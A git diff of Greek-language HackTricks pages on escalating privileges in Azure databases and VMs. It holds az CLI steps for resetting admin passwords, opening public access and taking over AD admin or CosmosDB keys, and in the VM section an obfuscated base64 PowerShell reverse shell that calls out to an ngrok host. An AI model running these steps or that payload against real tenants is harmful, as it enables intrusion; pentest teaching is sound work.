+Με αυτή την άδεια, μπορείτε να δημιουργήσετε νέες βάσεις δεδομένων εντός μιας παρουσίας Postgres Flexible Server στο Azure. Ενώ αυτή η ενέργεια από μόνη της δεν τροποποιεί υπάρχοντες πόρους, η υπερβολική ή μη εξουσιοδοτημένη δημιουργία βάσεων δεδομένων θα μπορούσε να οδηγήσει σε κατανάλωση πόρων ή πιθανή κακή χρήση του διακομιστή.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server db create \
+--server-name \
+--resource-group \
+--database-name
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write"
+
+Με αυτή την άδεια, μπορείτε να ξεκινήσετε τη δημιουργία αντιγράφων ασφαλείας για μια εγκατάσταση Postgres Flexible Server στο Azure. Αυτό επιτρέπει στους χρήστες να δημιουργούν αντίγραφα ασφαλείας κατόπιν αιτήματος, τα οποία μπορεί να είναι χρήσιμα για τη διατήρηση δεδομένων σε συγκεκριμένες χρονικές στιγμές.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server backup create \
+--name \
+--resource-group
+--backup-name
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read"
+
+Με αυτή την άδεια, μπορείτε να ρυθμίσετε ή να ενημερώσετε τις ρυθμίσεις Προηγμένης Προστασίας από Απειλές (ATP) για μια περίπτωση Postgres Flexible Server στο Azure. Αυτό επιτρέπει την ενεργοποίηση ή απενεργοποίηση χαρακτηριστικών ασφαλείας που έχουν σχεδιαστεί για να ανιχνεύουν και να ανταποκρίνονται σε ανώμαλες δραστηριότητες και πιθανές απειλές.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server threat-protection-policy update \
+--name \
+--resource-group \
+--state
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read"
+
+Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε κανόνες τείχους προστασίας για μια εγκατάσταση Postgres Flexible Server στο Azure. Αυτό επιτρέπει τον έλεγχο ποιοι διευθύνσεις IP ή εύρη μπορούν να έχουν πρόσβαση στον διακομιστή. Η μη εξουσιοδοτημένη ή ακατάλληλη χρήση αυτής της άδειας θα μπορούσε να εκθέσει τον διακομιστή σε ανεπιθύμητη ή κακόβουλη πρόσβαση.
+
+{% code overflow="wrap" %}
+```bash
+# Create Rule
+az postgres flexible-server firewall-rule create \
+--name \
+--resource-group \
+--rule-name \
+--start-ip-address \
+--end-ip-address
+
+# Update Rule
+az postgres flexible-server firewall-rule update \
+--name \
+--resource-group \
+--rule-name \
+--start-ip-address \
+--end-ip-address
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read"
+
+Με αυτή την άδεια, μπορείτε να ενημερώσετε τις ρυθμίσεις διαμόρφωσης μιας παρουσίας Postgres Flexible Server στο Azure. Αυτό επιτρέπει την προσαρμογή παραμέτρων του διακομιστή όπως η βελτιστοποίηση απόδοσης, οι ρυθμίσεις ασφαλείας ή οι λειτουργικές ρυθμίσεις.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server parameter set \
+--resource-group \
+--server-name \
+--name \
+--value
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action"
+
+Με αυτή την άδεια, μπορείτε να σταματήσετε μια PostgreSQL Flexible Server instance στο Azure. Η διακοπή ενός διακομιστή μπορεί να οδηγήσει σε προσωρινή διακοπή υπηρεσίας, επηρεάζοντας τις εφαρμογές και τους χρήστες που εξαρτώνται από τη βάση δεδομένων.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server stop \
+--name \
+--resource-group
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/start/action"
+With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server start \
+--name \
+--resource-group
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+
+With this permission, you can assign a user-assigned managed identity to postgres flexible servers.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server identity assign \
+--resource-group \
+--server-name \
+--identity
+```
+{% endcode %}
+
+### "*/delete"
+With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations
+
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
new file mode 100644
index 000000000..7b5aedd14
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
@@ -0,0 +1,93 @@
+# Az - CosmosDB Privesc
+
+{% hint style="success" %}
+Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Υποστήριξη HackTricks
+
+* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
+* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
+
+## CosmosDB Privesc
+Για περισσότερες πληροφορίες σχετικά με τη SQL Database ελέγξτε:
+
+{% content-ref url="../az-services/az-cosmosDB.md" %}
+[az-cosmosDB.md](../az-services/az-cosmosDB.md)
+{% endcontent-ref %}
+
+### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
+
+Με αυτές τις άδειες μπορείτε να κάνετε privilege escalation δίνοντας σε έναν χρήστη τις άδειες να εκτελεί ερωτήματα και να συνδέεται στη βάση δεδομένων. Αρχικά δημιουργείται ένας ρόλος ο οποίος δίνει τις απαραίτητες άδειες και πεδία.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb sql role definition create \
+--account-name \
+--resource-group \
+--body '{
+"Id": "", # For example 12345678-1234-1234-1234-123456789az
+"RoleName": "CustomReadRole",
+"Type": "CustomRole",
+"AssignableScopes": [
+"/subscriptions//resourceGroups/sqldatabase/providers/Microsoft.DocumentDB/databaseAccounts/"
+],
+"Permissions": [
+{
+"DataActions": [
+"Microsoft.DocumentDB/databaseAccounts/readMetadata",
+"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/items/read",
+"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/*"
+]
+}
+]
+}'
+```
+{% endcode %}
+
+Μετά από αυτό, η ανάθεση του ορισμού δίνεται σε έναν χρήστη. Μετά από αυτό, ο χρήστης μπορεί να χρησιμοποιήσει τη μέθοδο σύνδεσης DefaultAzureCredential() για να εκτελέσει ερωτήματα.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb sql role assignment create \
+--account-name \
+--resource-group \
+--role-definition-id \
+--principal-id \
+--scope "/"
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
+Με αυτή την άδεια, μπορείτε να ανακτήσετε τα κύρια και δευτερεύοντα κλειδιά για έναν λογαριασμό Azure Cosmos DB. Αυτά τα κλειδιά παρέχουν πλήρη πρόσβαση στον λογαριασμό της βάσης δεδομένων και τους πόρους του, επιτρέποντας ενέργειες όπως αναγνώσεις δεδομένων, εγγραφές και αλλαγές ρυθμίσεων.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb keys list \
+--name \
+--resource-group
+
+```
+{% endcode %}
+
+
+{% hint style="success" %}
+Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Υποστηρίξτε το HackTricks
+
+* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
+* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
new file mode 100644
index 000000000..21729c831
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
@@ -0,0 +1,91 @@
+# Az - MySQL Database Privesc
+
+{% hint style="success" %}
+Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Υποστήριξη HackTricks
+
+* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
+* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
+
+## MySQL Database Privesc
+Για περισσότερες πληροφορίες σχετικά με τη SQL Database ελέγξτε:
+
+{% content-ref url="../az-services/az-mysql.md" %}
+[az-mysql.md](../az-services/az-mysql.md)
+{% endcontent-ref %}
+
+### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
+
+Με αυτή την άδεια, μπορείτε να δημιουργήσετε, να ενημερώσετε ή να διαγράψετε MySQL Flexible Server instances στο Azure. Αυτό περιλαμβάνει την προμήθεια νέων διακομιστών, την τροποποίηση των υπαρχουσών ρυθμίσεων διακομιστή ή την αποσυναρμολόγηση διακομιστών.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server create \
+--name \
+--resource-group \
+--location \
+--admin-user \
+--admin-password \
+--sku-name \
+--storage-size \
+--tier \
+--version
+```
+{% endcode %}
+
+Για παράδειγμα, αυτές οι άδειες επιτρέπουν την αλλαγή του κωδικού πρόσβασης MySQL, χρήσιμο φυσικά σε περίπτωση που είναι ενεργοποιημένη η αυθεντικοποίηση MySQL.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server update \
+--resource-group \
+--name \
+--admin-password
+```
+{% endcode %}
+
+Επιπλέον, είναι απαραίτητο να έχετε ενεργοποιημένη την δημόσια πρόσβαση αν θέλετε να έχετε πρόσβαση από ένα μη ιδιωτικό σημείο, για να το ενεργοποιήσετε:
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server update --resource-group --server-name --public-access Enabled
+```
+{% endcode %}
+
+### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read""
+
+Με αυτή την άδεια, μπορείτε να ρυθμίσετε τους διαχειριστές Azure Active Directory (AD) για έναν MySQL Flexible Server. Αυτό μπορεί να εκμεταλλευτεί με την ρύθμιση του εαυτού σας ή ενός άλλου λογαριασμού ως τον διαχειριστή AD, παρέχοντας πλήρη διαχειριστικό έλεγχο πάνω στον MySQL server. Είναι σημαντικό ο flexible-server να έχει ανατεθεί διαχειριζόμενες ταυτότητες χρήστη για να χρησιμοποιηθεί.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server ad-admin create \
+--resource-group \
+--server-name \
+--display-name \
+--identity \
+--object-id
+```
+{% endcode %}
+
+{% hint style="success" %}
+Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Υποστηρίξτε το HackTricks
+
+* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
+* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
new file mode 100644
index 000000000..8f04dc044
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
@@ -0,0 +1,93 @@
+# Az - PostgreSQL Privesc
+
+{% hint style="success" %}
+Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Υποστήριξη HackTricks
+
+* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
+* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
+
+## PostgreSQL Privesc
+Για περισσότερες πληροφορίες σχετικά με τη SQL Database ελέγξτε:
+
+{% content-ref url="../az-services/az-postgresql.md" %}
+[az-postgresql.md](../az-services/az-postgresql.md)
+{% endcontent-ref %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write"
+
+Με αυτή την άδεια, μπορείτε να δημιουργήσετε, να ενημερώσετε ή να διαγράψετε τις παρουσίες PostgreSQL Flexible Server στο Azure. Αυτό περιλαμβάνει την προμήθεια νέων διακομιστών, την τροποποίηση των υπαρχουσών ρυθμίσεων διακομιστή ή την αποσυναρμολόγηση διακομιστών.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server create \
+--name \
+--resource-group \
+--location \
+--admin-user \
+--admin-password \
+--sku-name \
+--storage-size \
+--tier \
+--version
+```
+{% endcode %}
+
+Για παράδειγμα, αυτές οι άδειες επιτρέπουν την αλλαγή του κωδικού πρόσβασης PostgreSQL, χρήσιμο φυσικά σε περίπτωση που η αυθεντικοποίηση PostgreSQL είναι ενεργοποιημένη.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server update \
+--resource-group \
+--name \
+--admin-password
+```
+{% endcode %}
+
+Επιπλέον, είναι απαραίτητο να έχετε ενεργοποιημένη την δημόσια πρόσβαση αν θέλετε να έχετε πρόσβαση από ένα μη ιδιωτικό σημείο, για να το ενεργοποιήσετε:
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server update --resource-group --server-name --public-access Enabled
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read"
+
+Με αυτή την άδεια, μπορείτε να ρυθμίσετε τους διαχειριστές Azure Active Directory (AD) για έναν PostgreSQL Flexible Server. Αυτό μπορεί να εκμεταλλευτεί με την ρύθμιση του εαυτού σας ή ενός άλλου λογαριασμού ως τον διαχειριστή AD, παρέχοντας πλήρη διαχειριστικό έλεγχο πάνω στον PostgreSQL server. Η ενημέρωση υπάρχοντος κύριου δεν υποστηρίζεται ακόμα, οπότε αν υπάρχει ένας δημιουργημένος, πρέπει πρώτα να τον διαγράψετε.
+
+Είναι σημαντικό ο flexible-server να έχει ανατεθεί διαχειριζόμενες ταυτότητες χρήστη για να χρησιμοποιηθεί.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server ad-admin create \
+--resource-group \
+--server-name \
+--display-name \
+--identity \
+--object-id
+```
+{% endcode %}
+
+{% hint style="success" %}
+Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Υποστηρίξτε το HackTricks
+
+* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
+* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
index 6fc7b4319..67ee338d0 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
@@ -65,7 +65,7 @@ az vm extension set \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
```
-- Εκτέλεση reverse shell από αρχείο
+- Εκτέλεση αντίστροφης θήκης από αρχείο
```bash
az vm extension set \
--resource-group \
@@ -87,13 +87,13 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na
{{#endtab }}
{{#endtabs }}
-Είναι επίσης δυνατό να εκμεταλλευτείτε γνωστά extensions για να εκτελέσετε κώδικα ή να εκτελέσετε προνομιακές ενέργειες μέσα στα VMs:
+Είναι επίσης δυνατό να καταχραστεί κανείς γνωστές επεκτάσεις για να εκτελέσει κώδικα ή να πραγματοποιήσει προνομιακές ενέργειες μέσα στα VMs:
VMAccess extension
-Αυτό το extension επιτρέπει την τροποποίηση του κωδικού πρόσβασης (ή τη δημιουργία αν δεν υπάρχει) χρηστών μέσα σε Windows VMs.
+Αυτή η επέκταση επιτρέπει την τροποποίηση του κωδικού πρόσβασης (ή τη δημιουργία αν δεν υπάρχει) χρηστών μέσα σε Windows VMs.
```powershell
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
@@ -105,7 +105,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na
DesiredConfigurationState (DSC)
-Αυτή είναι μια **επέκταση VM** που ανήκει στη Microsoft και χρησιμοποιεί το PowerShell DSC για να διαχειρίζεται τη διαμόρφωση των Azure Windows VMs. Επομένως, μπορεί να χρησιμοποιηθεί για να **εκτελεί αυθαίρετες εντολές** σε Windows VMs μέσω αυτής της επέκτασης:
+Αυτή είναι μια **VM extension** που ανήκει στη Microsoft και χρησιμοποιεί το PowerShell DSC για να διαχειρίζεται τη διαμόρφωση των Azure Windows VMs. Επομένως, μπορεί να χρησιμοποιηθεί για **να εκτελεί αυθαίρετες εντολές** σε Windows VMs μέσω αυτής της επέκτασης:
```powershell
# Content of revShell.ps1
Configuration RevShellConfig {
@@ -157,7 +157,7 @@ Set-AzVMDscExtension `
Υβριδικός Εργαζόμενος Runbook
-Αυτή είναι μια επέκταση VM που θα επιτρέπει την εκτέλεση runbooks σε VMs από έναν λογαριασμό αυτοματοποίησης. Για περισσότερες πληροφορίες, ελέγξτε την υπηρεσία [Automation Accounts](../az-services/az-automation-account/).
+Αυτή είναι μια επέκταση VM που θα επιτρέπει την εκτέλεση runbooks σε VMs από έναν λογαριασμό αυτοματοποίησης. Για περισσότερες πληροφορίες, ελέγξτε την υπηρεσία [Automation Accounts](../az-services/az-automation-account/index.html).
@@ -300,13 +300,13 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
Αυτή η άδεια επιτρέπει σε έναν χρήστη να **συνδεθεί ως χρήστης σε μια VM μέσω SSH ή RDP** (αρκεί η αυθεντικοποίηση Entra ID να είναι ενεργοποιημένη στη VM).
-Συνδεθείτε μέσω **SSH** με **`az ssh vm --name --resource-group `** και μέσω **RDP** με τα **κανονικά σας Azure credentials**.
+Συνδεθείτε μέσω **SSH** με **`az ssh vm --name --resource-group `** και μέσω **RDP** με τα **κανονικά σας Azure διαπιστευτήρια**.
### `Microsoft.Compute/virtualMachines/loginAsAdmin/action`
Αυτή η άδεια επιτρέπει σε έναν χρήστη να **συνδεθεί ως χρήστης σε μια VM μέσω SSH ή RDP** (αρκεί η αυθεντικοποίηση Entra ID να είναι ενεργοποιημένη στη VM).
-Συνδεθείτε μέσω **SSH** με **`az ssh vm --name --resource-group `** και μέσω **RDP** με τα **κανονικά σας Azure credentials**.
+Συνδεθείτε μέσω **SSH** με **`az ssh vm --name --resource-group `** και μέσω **RDP** με τα **κανονικά σας Azure διαπιστευτήρια**.
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
@@ -327,7 +327,7 @@ az vm create \
```
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
-Αυτές οι άδειες είναι αρκετές για να **αναθέσετε νέες διαχειριζόμενες ταυτότητες σε μια VM**. Σημειώστε ότι μια VM μπορεί να έχει πολλές διαχειριζόμενες ταυτότητες. Μπορεί να έχει την **ταυτότητα που ανατίθεται από το σύστημα**, και **πολλές διαχειριζόμενες ταυτότητες από χρήστες**.\
+Αυτές οι άδειες είναι αρκετές για να **αναθέσετε νέες διαχειριζόμενες ταυτότητες σε μια VM**. Σημειώστε ότι μια VM μπορεί να έχει πολλές διαχειριζόμενες ταυτότητες. Μπορεί να έχει την **ταυτότητα που ανατίθεται από το σύστημα**, και **πολλές ταυτότητες που διαχειρίζονται από χρήστες**.\
Στη συνέχεια, από την υπηρεσία μεταδεδομένων είναι δυνατή η δημιουργία tokens για κάθε μία.
```bash
# Get currently assigned managed identities to the VM
@@ -343,10 +343,10 @@ az vm identity assign \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
```
-Ο επιτιθέμενος πρέπει να έχει **συμβιβαστεί με κάποιον τρόπο η VM** για να κλέψει τα tokens από τις ανατεθειμένες διαχειριζόμενες ταυτότητες. Δείτε **περισσότερες πληροφορίες στο**:
+Τότε ο επιτιθέμενος πρέπει να έχει **συμβιβαστεί με κάποιον τρόπο η VM** για να κλέψει τα tokens από τις ανατεθειμένες διαχειριζόμενες ταυτότητες. Δείτε **περισσότερες πληροφορίες στο**:
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
new file mode 100644
index 000000000..9d82b51df
--- /dev/null
